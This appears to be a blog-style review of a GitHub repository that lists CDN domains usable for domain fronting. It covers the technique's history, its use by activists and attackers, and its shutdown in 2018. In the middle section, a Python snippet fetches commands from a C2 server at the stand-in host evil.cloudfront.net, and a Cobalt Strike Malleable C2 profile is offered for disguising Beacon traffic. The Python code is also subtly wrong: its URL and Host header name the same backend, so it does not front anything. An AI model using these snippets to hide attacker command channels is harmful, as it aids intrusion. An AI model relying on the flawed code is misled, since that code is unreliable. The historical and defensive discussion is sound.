Domain Fronting Lists: A Catalog of CDN Obfuscation Techniques That Mostly Died in 2018

Hook

In 2018, Google and Amazon simultaneously killed a traffic obfuscation technique so effective that both censorship circumvention activists and nation-state attackers relied on it. The vysecurity/DomainFrontingLists repository is a time capsule of that brief golden age.

Context

Domain fronting emerged as an elegant hack exploiting the architecture of Content Delivery Networks. The technique leveraged a discrepancy between two parts of an HTTPS request: the TLS Server Name Indication (SNI) field, visible in plaintext during the TLS handshake, and the HTTP Host header, encrypted within the TLS tunnel. By setting the SNI to a benign, well-known domain (like ajax.googleapis.com) while routing the actual request to a different backend via the Host header, users could make traffic appear destined for legitimate services while actually communicating with censored or sensitive endpoints.

This technique became critical for two communities with opposing goals but similar technical needs. Privacy activists and anti-censorship tools like Tor's meek transport used domain fronting to help users in repressive countries bypass national firewalls. Simultaneously, penetration testers and adversarial actors discovered domain fronting as a powerful method for disguising command-and-control (C2) traffic during security operations. The vysecurity/DomainFrontingLists repository emerged as a community-maintained catalog of domains across major CDNs—CloudFront, CloudFlare, Fastly, Azure, and others—that could be used as fronts. It was reconnaissance work condensed into text files, saving hours of enumeration for anyone needing to implement the technique.

Technical Insight

The repository's architecture is deliberately simple: text files organized by CDN provider, each containing newline-separated domain names. This simplicity reflects the technique's implementation. Domain fronting doesn't require complex tooling—just careful manipulation of HTTP headers and TLS parameters.

Here's how domain fronting works in practice with a CloudFront example from the repository. Suppose you want to communicate with your C2 server hosted at evil.cloudfront.net, but you want the traffic to appear as requests to a legitimate domain like aws.amazon.com:

import requests
from requests.packages.urllib3.util.ssl_ import create_urllib3_context

# Create a custom SSL context that allows SNI manipulation
class CustomHTTPAdapter(requests.adapters.HTTPAdapter):
    def init_poolmanager(self, *args, **kwargs):
        # Set SNI to the legitimate front domain
        kwargs['server_hostname'] = 'aws.amazon.com'
        return super().init_poolmanager(*args, **kwargs)

session = requests.Session()
session.mount('https://', CustomHTTPAdapter())

# The actual request goes to your C2 infrastructure
response = session.get(
    'https://evil.cloudfront.net/command',
    headers={'Host': 'evil.cloudfront.net'},
    # SNI will show 'aws.amazon.com' to network observers
)

From a network monitoring perspective, this request appears to be legitimate traffic to aws.amazon.com. The TLS handshake, visible to any intermediary, shows the SNI field pointing to Amazon's infrastructure. Only after the TLS tunnel is established does the Host header reveal the true destination—and that header is encrypted, invisible to network monitors or firewalls. The CDN receives both pieces of information and routes based on the Host header, delivering the request to the actual backend.

The repository organizes domains by CDN because each provider implemented routing logic differently. CloudFront was particularly permissive, accepting any valid domain within its network regardless of SNI/Host mismatches. The CloudFront list in the repository contains domains like "d111111abcdef8.cloudfront.net" patterns—enumerated CloudFront distributions that could serve as fronts. CloudFlare's approach differed slightly, requiring both the front domain and backend to be on their network, but still allowing the mismatch.

For operational use, you'd select a high-reputation domain from the appropriate CDN list. Security researcher Vincent Yiu, the repository's creator, included domains like "a0.awsstatic.com" and "s0.awsstatic.com" for CloudFront—these are Amazon's own infrastructure domains, making them extremely low-risk targets for blocking. The choice of front domain matters significantly. A domain that handles millions of legitimate requests daily (like Google's CDN domains) provides better cover than an obscure corporate site that happens to use the same CDN.

The repository also reveals the research methodology behind discovering frontable domains. Many entries follow patterns: systematic enumeration of CDN distribution IDs, identification of high-value corporate customers, and testing of popular services known to use specific CDNs. For Fastly, the list includes domains like "github.global.ssl.fastly.net"—GitHub's CDN endpoint, which prior to 2018 could be used as a front for any Fastly-hosted backend.

Implementing domain fronting in tools like Cobalt Strike or Metasploit was straightforward once you had these lists. In Cobalt Strike's Malleable C2 profile, you'd configure:

http-get {
    set uri "/api/v1/status";
    
    client {
        header "Host" "your-backend.cloudfront.net";
        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }
}

http-stager {
    set uri_x64 "/jquery-3.3.1.min.js";
    client {
        header "Host" "your-backend.cloudfront.net";
    }
}

# Configure the actual connection to use SNI fronting
set dns_sleep 0;
set host_stage "false";

You'd then configure your redirector or CDN setup to route traffic from the front domain to your actual C2 infrastructure, while the Beacon's network traffic would show connections to whichever legitimate domain you selected from the repository's lists.

Gotcha

The elephant in the room: domain fronting is largely dead. In April 2018, both Google Cloud and Amazon Web Services announced they were disabling domain fronting on their CDN platforms. Google stated they were "closing a loophole" and Amazon followed suit within days. CloudFlare deprecated it shortly after. These weren't technical failures—the providers intentionally modified their routing logic to reject requests where SNI and Host headers didn't match. The vysecurity/DomainFrontingLists repository, last updated in 2018, predates these changes.

This means most domains in the repository no longer function for their intended purpose. Attempting to use CloudFront domains for fronting today typically results in HTTP 403 errors or connection rejections. The technique worked because CDNs prioritized routing flexibility over security; once abuse became widespread enough to attract public attention (particularly APT29/Cozy Bear's use of domain fronting in state-sponsored operations), providers chose to break the technique rather than allow continued exploitation.

Some entries also contain acknowledged false positives. The repository's README warns that not all listed domains were verified to work, and given the time elapsed since publication, even formerly functional domains may now be misconfigured, deprecated, or explicitly blocked. There's no automated validation, no CI/CD pipeline testing domain availability, and no community maintenance verifying current status. It's a static snapshot from 2018, useful primarily as historical reference or as a starting point for manual verification.

The repository also doesn't address the legal and ethical dimensions. Domain fronting occupies a gray area—legitimate for privacy research and censorship circumvention in some contexts, potentially illegal or violation of terms of service in others. Using CDN infrastructure in ways providers explicitly forbid can result in account termination, and in adversarial contexts, may constitute unauthorized access depending on jurisdiction. The repository provides no guidance on appropriate use cases, assuming users understand the implications.

Verdict

Use if: you're conducting historical research on CDN security evolution, need a starting point for enumerating CDN-backed domains to test current fronting mitigations, are analyzing legacy threat actor infrastructure that relied on these techniques, or want to understand how domain fronting worked during its operational window. The repository remains valuable as reference material for security education and for understanding why modern CDNs implement certain routing restrictions. Skip if: you need production-ready traffic obfuscation for current operations (the technique is deprecated on major CDNs), want actively maintained tooling with validation (this is a static 2018 dataset), are looking for legal censorship circumvention methods (modern tools like Snowflake or WebTunnel have replaced domain fronting), or expect plug-and-play functionality without extensive verification and testing. Consider this repository a museum exhibit of an elegant technique that briefly worked before CDN providers closed the door—interesting for understanding the cat-and-mouse game between security researchers and platform providers, but mostly obsolete for practical application.